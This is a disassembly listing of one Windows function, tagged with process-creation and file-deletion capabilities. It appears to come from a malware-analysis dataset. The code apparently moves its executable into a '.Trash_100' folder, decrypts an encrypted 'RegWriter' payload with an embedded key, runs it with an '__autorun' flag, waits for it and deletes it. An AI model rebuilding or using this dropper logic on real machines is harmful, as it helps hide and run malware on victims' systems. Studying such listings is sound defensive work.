Function at 0x406110
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f0
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x427]
push 0
push eax
mov byte [ebp - 0x428], 0
call fcn.0040eab0
add esp, 0xc
lea eax, [ebp - 0x31f]
push 0x103
push 0
push eax
mov byte [ebp - 0x320], 0
call fcn.0040eab0
add esp, 0xc
lea eax, [ebp - 0x10f]
push 0x103
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.0040eab0
add esp, 0xc
lea eax, [ebp - 0x217]
push 0x103
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.0040eab0
add esp, 0xc
lea eax, [ebp - 0x52f]
push 0x103
push 0
push eax
mov byte [ebp - 0x530], 0
call fcn.0040eab0
mov ecx, 0xb
mov esi, str.X:551b45c5a2e3acc57690b0469d26f1a3intel.exe
lea edi, [ebp - 0x638]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
lea eax, [ebp - 0x60a]
push 0xd6
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.0040eab0
add esp, 0xc
lea eax, [ebp - 0x320]
push str.X:.Trash_100
push 0x104
push eax
call fcn.0040b099
add esp, 0xc
lea eax, [ebp - 0x320]
push 0x4279cc
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x320]
push str.ActivateDesktop.exe
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x428]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x320]
lea eax, [ebp - 0x428]
jmp 0x406250
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406270
test dl, dl
je 0x40626c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406270
add eax, 2
add ecx, 2
test dl, dl
jne 0x406250
xor eax, eax
jmp 0x406275
sbb eax, eax
or eax, 1
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4062e4
lea edx, [ebp - 0x320]
lea ecx, [ebp - 0x428]
call fcn.00408370
push 0x40
lea eax, [ebp - 0x694]
push 0
push eax
mov dword [ebp - 0x698], 0x44
call fcn.0040eab0
add esp, 0xc
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x698]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x320]
push eax
push 0
mov dword [ebp - 0x66c], 0x80
call edi
test eax, eax
jne 0x4065ed
mov al, byte [str.X:.Trash_100]
mov byte [ebp - 0x638], al
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.X:.Trash_100
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040b099
add esp, 0xc
lea eax, [ebp - 0x110]
push str._registry_tool.exe
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea edx, [ebp - 0x530]
push 0x104
mov ecx, str.last_regwrite_link
call fcn.004048c0
add esp, 4
lea edx, [ebp - 0x218]
push 0x104
mov ecx, str.backup_url
call fcn.004048c0
add esp, 4
test al, al
jne 0x40637b
push 0x42dfd0
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0040b099
add esp, 0xc
push str.tools_RegWriter.exe.raum_encrypted
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea ecx, [ebp - 0x218]
lea eax, [ebp - 0x530]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4063c0
test dl, dl
je 0x4063bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4063c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4063a0
xor eax, eax
jmp 0x4063c5
sbb eax, eax
or eax, 1
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x218]
test eax, eax
je 0x4064c9
call fcn.00407b20
test al, al
je 0x40641d
mov edx, str.666_SamaelLovesMe_666
lea ecx, [ebp - 0x110]
call fcn.00404b70
test al, al
je 0x40641d
lea edx, [ebp - 0x218]
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x406400
sub edx, esi
push edx
lea edx, [ebp - 0x218]
mov ecx, str.last_regwrite_link
call fcn.00404750
add esp, 4
push str.__autorun
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x6ec]
push 0x40
push 0
push eax
mov dword [ebp - 0x6f0], 0x44
call fcn.0040eab0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x6c0], ax
lea eax, [ebp - 0x6a8]
push eax
lea eax, [ebp - 0x6f0]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x6c4], 0x81
call edi
lea eax, [ebp - 0x63c]
cmp eax, 0x666666
je 0x4064be
mov esi, dword [ebp - 0x6a8]
jmp 0x4065ae
mov esi, dword [ebp - 0x63c]
jmp 0x4065ae
call fcn.00407b20
test al, al
je 0x40650d
mov edx, str.666_SamaelLovesMe_666
lea ecx, [ebp - 0x110]
call fcn.00404b70
test al, al
je 0x40650d
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4064f0
sub ecx, edx
push ecx
lea edx, [ebp - 0x218]
mov ecx, str.last_regwrite_link
call fcn.00404750
add esp, 4
push str.__autorun
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x694]
push 0x40
push 0
push eax
mov dword [ebp - 0x698], 0x44
call fcn.0040eab0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x668], ax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x698]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x66c], 0x81
call edi
mov esi, dword [ebp - 0x63c]
lea eax, [ebp - 0x63c]
cmp eax, 0x666666
cmovne esi, dword [ebp - 0x64c]
lea eax, [ebp - 0x110]
push str.__autorun
push eax
call fcn.0040b560
add esp, 8
mov byte [eax], 0
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.00409def
mov esp, ebp
pop ebp
ret
call fcn.00405cd0
int3